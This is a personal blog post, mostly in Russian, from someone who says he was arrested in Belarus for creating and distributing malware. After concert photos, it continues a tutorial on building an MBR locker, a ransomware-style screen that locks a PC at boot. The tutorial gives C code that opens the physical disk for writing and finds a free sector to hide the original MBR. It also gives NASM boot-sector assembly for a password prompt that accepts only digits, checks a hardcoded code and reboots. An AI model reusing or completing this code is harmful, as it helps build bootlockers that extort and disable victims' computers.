Общее·количество·просмотров·страницы

среда, 7 августа 2013 г.

Станем хорошими или продолжение mbr locker'a и обо всем-всем-всем)

Well, lets start in order. 02.07.2013 about 7:30 AM, I was arrested by Belarus policemen's.For the creating and distribution malware.Why this happened? 'Cause:
1)Client distributed malware in BY
2)There was XXXXX sum of money (stolen)
3)They are responsible people

It seems I talked in each post in this blog that the material "is used for educational purposes" , and I tell it right now- "FOR EDUCATION PURPOSES". ohh okay..)
but it's okay... I'm free... so, if you read it my friends, I just say "Hello)" to you ho-ho-ho)))

our UA policemen's was so cute ^^ "We got hacker DooD, oh yeah!")))
okay, forgot about it, it wasn't cool.It was like in a matrix.I was.night-hack, day-only student)
night...Massive Attack-dissolved girl)like a matrix)

that all about it.

Later, when I was freed, they gave me my nexus devices, cards, flash drives etc.But harddrive was their.
I have it later, before concert).

That was beautiful 3 days of ROCK))
And some photos;)

Sandra) Guano apes



BI-2


Kristina) Lacuna Coil



 Klaus Meine, Scorpions)




Окей ладно.привет)
Решил я тут завершить уже с mbr lock как бы, что бы у самого не оставалось никаких интересов больше. В общем то по названию поста, станем "хорошими)"Что это значит- сделаем строчку ввода кода,обработку клавиш, ну и разблокировку)

продолжение вот этой http://bydood.blogspot.com/2012/07/mbr-locker.html

ЧТО ЮЗАЛОСЬ:
1)nasm
2)C
3)IDA
4)sourcer
5)bochs

Что я думал в идеале должно быть:
Дроппером должен искаться первый чистый сектор (пускай физического диска) и бэкапиться туда mbr windows(конечно можно там извратиться с его зашифровкой и т.д. и т.п., но у нас наглядно).

int i;

HANDLE hout;

byte buf[512];

byte zerobuf[512]={0} ;

char st[1];

DWORD nr;
hout=CreateFile(TEXT("\\\\.\\PhysicalDrive0"),GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
for (i=0;i<=63;i++)
{
ReadFile(hout,&buf,512,&nr,NULL);
 if (strcmp(buf,zerobuf)==0)
{
_itoa(i,st,10);
MessageBox(0,TEXT("Найден пустой сектор под номером"),st,0);
ExitProcess(0);
}
else
MessageBox(0,0,0,0);
}

CloseHandle(hout);

итак что тут происходит у нас:
может я плохо искал, но как я знаю- побайтово читать сектор нельзя, а даже если и можно то наверное придется извращаться.а мы ленивые,очень.по этому просто зададим массив из 512 нулей (предположим что сектор 512 байт, в 99% это так.В любом случае размер сектора можно выдрать из геометрии диска-GetDiskFreeSpace,например)и будем сравнивать его в цикле с массивом байтов сектора (сектором).если найден такой сектор то помещаем туда mbr windows( в примере выводится сообщение с номером сектора, начиная от 0 само собой).
Дальше как в предыдущей статье, записываемся вместо mbr windows.Насчет того как восстанавливать- есть разные варианты, как пример дроппер может записать номер сектора с оригинальным mbr куда то в другой сектор, а наш mbr будет его оттуда брать,но вообще я не думал об этом.

Ну дальше ассемблер.
Нужно вывести строку про введение кода:

mov ah,0x13
mov al,1
mov bx,15
mov cx,13
mov dx,0x1700
mov bp,strmsg
int 0x10

тут все так же как и 1-й части, только добавим координаты в dx

для более универсального изучения (на самом деле мне было не охота копаться в прерываниях, да и дизасм залежался что то))я решил дизасмнуть какой то локер, скачал его на Рыгхосте.

вижу такое:

понимаю что это набор байт которые пишет дроппер, судя по сигнатуре mbr.
конечно можно нажать code ,но ИДА как то кривовато анализирует бинарники,так что я взял старый,добрый СОРСЕР

и тот выдал мне нехерово подробный листинг =D

ну все равно в прерывания пришлось лезть и вспоминать все эти извраты с клавишами)

mov di,0x8000
jboe: 
xor ah,ah
push di
int 0x16

pop di

будем писать по такому то адресу)тут можно не объяснять)

cmp al,0x08
je bck

jmp tst

bck:

нажали backspace? будем обрабатывать))иначе прыгаем на проверку ввода

mov ah,3
xor bh,bh
int 0x10
cmp dl,0x0D
jbe jboe
Начало строки? (ничего не введено- возврат каретки)- ничего не делаем

mov ah,3
xor bh,bh
int 0x10

dec dl

mov ah,2
xor bh,bh
int 0x10

считали курсор-декрементируем позицию и устанавливаем курсор.

mov al,' '
mov ah,0xA
int 0x10

записываем пробел.

xor bh,bh
mov ah,2
int 0x10

dec di

jmp jboe

устанавливаем курсор-и снова на ввод.

это был только "обработчик события") клавиши backspace
тут начинается проверка:

tst:
cmp al,0x0D
jnz char

этнэр?-проверка разрешимых символов и вывод

mov si,psw
mov di,0x8000
xor ch,ch
mov cl,6
repe cmpsb
jz ent

сравниваем введенные символы по адресу с строкой по адресу.
И да да, начнется бугурт- типа пароль в открытом виде хули там его искать тыры-пыры- снова повторюсь-для наглядности, пароль можно зашифровать и расшифровывать на лету, можно заныкать в другой сектор, и т.д. и т.п.

если ввели правильно (тут идет первые 6, то что мне кол-во впадлу было обрабатывать)
то переходим к процедуре возврата сектора.

pushad

mov ah,2
xor bh,bh
mov dx,0x170C
int 0x10

mov ax,0x0A20
mov cx,80
int 0x10

mov ah,0x13
mov al,1
mov bx,2
mov cx,5
mov dx,0x1800
mov bp,err
int 0x10 

mov ah,2
xor bh,bh
mov dx,0x170D
int 0x10
popad 
mov di,0x8000
jmp jboe


иначе-сохраним все базовые регистры, установим курсор в позицию, запишем 80 пробелов (так проще что бы не перерисовывать экран) и выдадим сообщение о ошибке, после чего отправим снова на ввод)))

Теперь будем проверять что бы юзвер не жмакал то что нам не угодно:

cmp al,'0'
jc jboe
cmp al,'9'
ja jboe
stosb
mov ah,0x00E
push di
int 0x10
pop di
jmp jboe

буквы,символы етц- нахер. только цифры))
и пишем их на экранчике,снова и снова, и снова, и снова)))

И ВОТ, такие моменты в исполнении Виктора Зангиева бывают очень опасны) (ладно что то я бушидо пересмотрел, не ну ,а что, сухое повествование тоже не кайф;))

дошли до разблокировки:

ent:

mov ax,03
int 0x10

mov ax,0x1301
mov bx,0xC
mov cx,93
xor dx,dx
mov bp,yes
int 0x10

xor ax,ax
int 0x16
jmp 0xFFFF:0x0000

очищаем дисплей, пишем наше послание пользователю))
(перед прерыванием клавиатуры, понятно должна быть процедура восстановления оригинального mbr и передачи управления на него, но я это уже делал, так что мне лень, можно тут поискать в споте как это делается)
просим нажать что то и делаем програмный ребут (все еще ж в реальном режиме)))

ну вот в общем то как бы и все))

теперь можно поглазеть как это работает, да и к тому же как настроить борщ для более-менее вменяемой отладки) (эмулировал на флопаре, ибо суть не меняется вообще, а настраивать АТА как то не охота было))

видео

Вот и сказочке конец господа.Через пару деньков поеду на морэ подъотдохну слегка, а потом продолжу копошиться с bios bootkit) да да такая интересная параша, nitin и vipin рулят))хотя еще покопошусь в коде wolfenstein 3D 1992 (кармак шикарный программер,у таких учиться надо,заодно по Сям подтянусь немножко) ну и в следующий, неизвестно когда раз, поговорим о восстановлении таблиц разделов из-за подлых mbr lock- ов.

бай бай.

PS: о стоп надо оставить немного музыки)

http://www.youtube.com/watch?v=GAiceRuLX1I
http://www.youtube.com/watch?v=KDwgQyJ_uzg
http://www.youtube.com/watch?v=Rgl_9ZVTQKk